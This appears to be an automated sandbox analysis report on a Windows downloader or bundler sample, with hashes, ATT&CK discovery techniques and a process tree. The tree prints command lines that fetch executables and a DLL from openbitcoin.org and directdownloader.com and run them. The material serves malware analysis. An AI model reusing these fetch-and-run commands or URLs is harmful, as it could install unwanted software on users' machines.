c4e7838b3b2852a325652ca0b2de1eb88807c0c936512431e523a8d41e8f1887

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
30/09/2024, 13:02

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General

Target

017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe
Size

337KB
MD5

017794f34ed1b74920961cd036494aa5
SHA1

7739988d23a548153417529a3c6c59b0527270c7
SHA256

c4e7838b3b2852a325652ca0b2de1eb88807c0c936512431e523a8d41e8f1887
SHA512

54f2fb55d911957c37a61388b6d7b6364fb570f897d72efc53e283dfc7a5682e26c156965cbf9361bd62b91e9ca12986fa4c695ec098528f5b0a3176ba9ae05c
SSDEEP

6144:Qc63Az3BtxjcIaCmiVzpN0ouSsozaxbv3Ou0E874aU+pLamHDvSaSzv:uGRTPaCB9f0mp0bv+Vb74h+pLamjLSzv

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 7 IoCs

pid	Process
1200	downloaderSTUB.exe
3396	downloaderSTUB.exe
3284	downloaderSTUB.exe
5204	downloaderDDLR.exe
5728	downloaderOFFER1.exe
3252	downloaderOFFER1.exe
1520	preinstaller.exe

Loads dropped DLL 30 IoCs

pid	Process
1200	downloaderSTUB.exe
5728	downloaderOFFER1.exe
3396	downloaderSTUB.exe
5204	downloaderDDLR.exe
3252	downloaderOFFER1.exe
3284	downloaderSTUB.exe
1200	downloaderSTUB.exe
5728	downloaderOFFER1.exe
3396	downloaderSTUB.exe
5204	downloaderDDLR.exe
3252	downloaderOFFER1.exe
3284	downloaderSTUB.exe
5728	downloaderOFFER1.exe
1200	downloaderSTUB.exe
3396	downloaderSTUB.exe
3252	downloaderOFFER1.exe
5204	downloaderDDLR.exe
3284	downloaderSTUB.exe
1200	downloaderSTUB.exe
5728	downloaderOFFER1.exe
3396	downloaderSTUB.exe
5204	downloaderDDLR.exe
3252	downloaderOFFER1.exe
3284	downloaderSTUB.exe
5728	downloaderOFFER1.exe
1200	downloaderSTUB.exe
3396	downloaderSTUB.exe
5204	downloaderDDLR.exe
3252	downloaderOFFER1.exe
3284	downloaderSTUB.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderDDLR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderOFFER1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	preinstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderOFFER1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023617-4.dat	nsis_installer_1
behavioral2/files/0x0007000000023617-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 3920 wrote to memory of 1200	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	89
PID 3920 wrote to memory of 1200	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	89
PID 3920 wrote to memory of 1200	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	89
PID 3920 wrote to memory of 3396	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	90
PID 3920 wrote to memory of 3396	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	90
PID 3920 wrote to memory of 3396	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	90
PID 3920 wrote to memory of 3284	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	91
PID 3920 wrote to memory of 3284	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	91
PID 3920 wrote to memory of 3284	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	91
PID 3920 wrote to memory of 5204	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	92
PID 3920 wrote to memory of 5204	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	92
PID 3920 wrote to memory of 5204	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	92
PID 3920 wrote to memory of 5728	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	93
PID 3920 wrote to memory of 5728	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	93
PID 3920 wrote to memory of 5728	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	93
PID 3920 wrote to memory of 3252	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	94
PID 3920 wrote to memory of 3252	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	94
PID 3920 wrote to memory of 3252	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	94
PID 3920 wrote to memory of 1520	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	95
PID 3920 wrote to memory of 1520	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	95
PID 3920 wrote to memory of 1520	3920	017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe	95

C:\Users\Admin\AppData\Local\Temp\017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\017794f34ed1b74920961cd036494aa5_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3920
- C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1200
- C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3396
- C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3284
- C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5204
- C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\volcano.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5728
- C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\pricepeep.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3252
- C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\preinstaller.exe 0 "mird097doublecastbigtitsspecial" "Download"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1520

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4380,i,2904906934812054273,11716976550456127484,262144 --variations-seed-version --mojo-platform-channel-handle=3860 /prefetch:8
1⤵
PID:5544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\800ab98175f500b38113507a79a9a1ae\preinstaller.exe

Filesize
241KB

MD5
9d8fe8bcc4c493b2fd1da8d2b07ba57c

SHA1
aa9366eb9210c8a5398b5e55921c92ce8970df5b

SHA256
f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

SHA512
3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa845F.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/1520-52-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/3920-51-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download